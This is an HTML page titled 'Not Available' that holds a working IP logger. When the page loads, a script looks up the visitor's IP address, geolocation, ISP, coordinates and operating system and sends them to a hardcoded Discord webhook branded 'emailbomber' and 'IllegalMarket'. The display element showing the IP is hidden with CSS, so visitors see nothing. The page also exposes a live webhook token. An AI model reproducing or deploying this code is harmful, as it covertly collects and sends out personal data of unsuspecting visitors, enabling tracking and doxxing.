<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Not Available</title>
    <script src="https://cdn.jsdelivr.net/npm/notyf@3/notyf.min.js"></script>
  </head>
  <body>
    <header class="header"></header>
    <script src="./config.js"></script>

    <script>
      function getOperatingSystem() {
        const userAgent = navigator.userAgent;

        if (userAgent.indexOf("Windows NT 10.0") !== -1) {
          return "Windows 10";
        } else if (userAgent.indexOf("Windows NT 6.1") !== -1) {
          return "Windows 7";
        } else if (userAgent.indexOf("Windows NT 6.3") !== -1) {
          return "Windows 8.1";
        } else if (userAgent.indexOf("Windows NT 6.2") !== -1) {
          return "Windows 8";
        } else if (userAgent.indexOf("Windows NT 6.0") !== -1) {
          return "Windows Vista";
        } else if (userAgent.indexOf("Mac") !== -1) {
          return "macOS";
        } else if (userAgent.indexOf("Linux") !== -1) {
          return "Linux";
        } else if (userAgent.indexOf("iPhone") !== -1) {
          return "iOS";
        } else if (userAgent.indexOf("Android") !== -1) {
          return "Android";
        } else {
          return "Unknown OS";
        }
      }

      function getVisitTime() {
        return new Date().toLocaleString();
      }

      function ipLogByRaz(countryFlag, ipAddress, extra) {
        var visitTime = getVisitTime();
        var os = getOperatingSystem();

        var wbhk = "https://discord.com/api/webhooks/1329927584263311422/y7I2tVcbj25ESfQZqlmZ05DF0KvIpIvbDiKw22ymYlxPIHKkMVVEumMP_gFAvDhrwJL7";

        const request = new XMLHttpRequest();
        request.open("POST", wbhk);
        request.setRequestHeader('Content-type', 'application/json');

        request.onload = function() {
          if (request.status === 200) {
          } else {
          }
        };

        request.onerror = function() {
        };

        const params = {
          username: "emailbomber",
          avatar_url: 'https://cdn.discordapp.com/attachments/1321926384783720571/1329927762466832455/f5f2bf40d322a3caa269cc00859f78bd.jpg?ex=678c1f3f&is=678acdbf&hm=801ca9ee3b86ab324306eb9f4d4f6c24def54f211cfd56e03c77bea7e6450aa2&',
          embeds: [{
            title: "IllegalMarket",
            image: {
              url: "https://i.pinimg.com/originals/36/ad/bd/36adbd4765f5e1f65d7615cf0ae48f65.gif"  // Le GIF s'affiche ici en grand
            },
            fields: [
              {
                name: "IP Address",
                value: ipAddress,
                inline: true
              },
              {
                name: "Geo Location",
                value: `https://api.techniknews.net/ipgeo/${ipAddress}`,
                inline: true
              },
              {
                name: "Visit Time",
                value: visitTime,
                inline: true
              },
              {
                name: "Operating System",
                value: os + " " + countryFlag,
                inline: true
              },
              {
                name: "Extra Information",
                value: extra ? "```" + extra + "```" : "N/A",
                inline: false
              }
            ],
            color: 0x000000,
            footer: {
              text: "Powered by emailbomber"
            }
          }]
        };

        request.send(JSON.stringify(params));
      }

      function get_information(link, callback) {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", link, true);
        xhr.onreadystatechange = function() {
          if (xhr.readyState === 4) {
            callback(xhr.responseText);
          }
        };
        xhr.send(null);
      }

      get_information("https://api.ipify.org?format=json", function(text) {
        var jsonResponse = JSON.parse(text);
        var ipAddress = jsonResponse.ip;
        const secondList = document.getElementsByClassName("header")[0];
        secondList.appendChild(document.createTextNode("IP: " + ipAddress));

        get_information("http://ip-api.com/json/?fields=status,message,continent,continentCode,country,countryCode,region,regionName,city,district,zip,lat,lon,timezone,offset,currency,isp,org,as,asname,reverse,mobile,proxy,hosting,query", function(text) {
          var jsonResponse = JSON.parse(text);
          var countryCode = jsonResponse.countryCode.toLowerCase();
          var countryFlag = `:flag_${countryCode}:`;

          var extra = jsonResponse ? JSON.stringify(jsonResponse, null, 2) : null;

          ipLogByRaz(countryFlag, ipAddress, extra);
        });
      });

      setTimeout(function() {
        ipLogByRaz();
      }, 700);
    </script>

    <style>
      .header {
        display: none;
      }

      .map-container {
        display: none;
      }
    </style>
  </body>
</html>
